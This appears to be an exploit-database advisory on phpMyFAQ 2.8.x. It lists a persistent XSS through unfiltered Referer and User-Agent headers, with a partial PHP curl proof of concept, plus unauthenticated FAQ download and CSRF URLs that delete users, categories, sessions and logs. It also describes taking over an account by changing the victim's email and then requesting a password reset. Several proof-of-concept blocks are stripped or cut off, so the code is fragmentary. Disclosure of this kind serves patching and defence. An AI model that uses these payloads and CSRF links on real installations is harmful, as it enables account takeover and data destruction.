#Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities #Vendor: phpmyfaq.de #Date: 04.09.19 #Version: >= 2.8.12 (Latest ATM) #Tested on: Apache 2.2 / PHP 5.4 / Linux #Contact: smash [at] devilteam.pl 1) Persistent XSS Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent. For example, to view informations about session with ID 1, you need visit following address: http://localhost/phpmyfaq/admin/?action=viewsession&id=1 Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them. PoC: alert(666)'); curl_setopt($ch, CURLOPT_REFERER, ''); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Vuln (viewsession): 2014-09-04 02:22:04 new_session (0) Referer: Browser: IP-Address: ::1 2) Remote FAQ Disclosure Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account. - Download
- View
3) CSRF - Edit user credentials (login/mail) PoC:
By then, you may generate new password for victim using 'Forgot password' option - just provide your email so you can grab it. - Delete user http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=delete_user&user_id=1 - Delete category http://localhost/phpmyfaq/admin/?action=deletecategory&cat=1&catlang=en - Delete session (month) PoC:
- Delete logs older than 30 days http://localhost/phpmyfaq/admin/?action=deleteadminlog - Add stopword http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=lolwut&stopwords_lang=en - Edit configuration Affected: Main configuration FAQ records configuration Search Security configuration Spam control center Social network configuration PoC: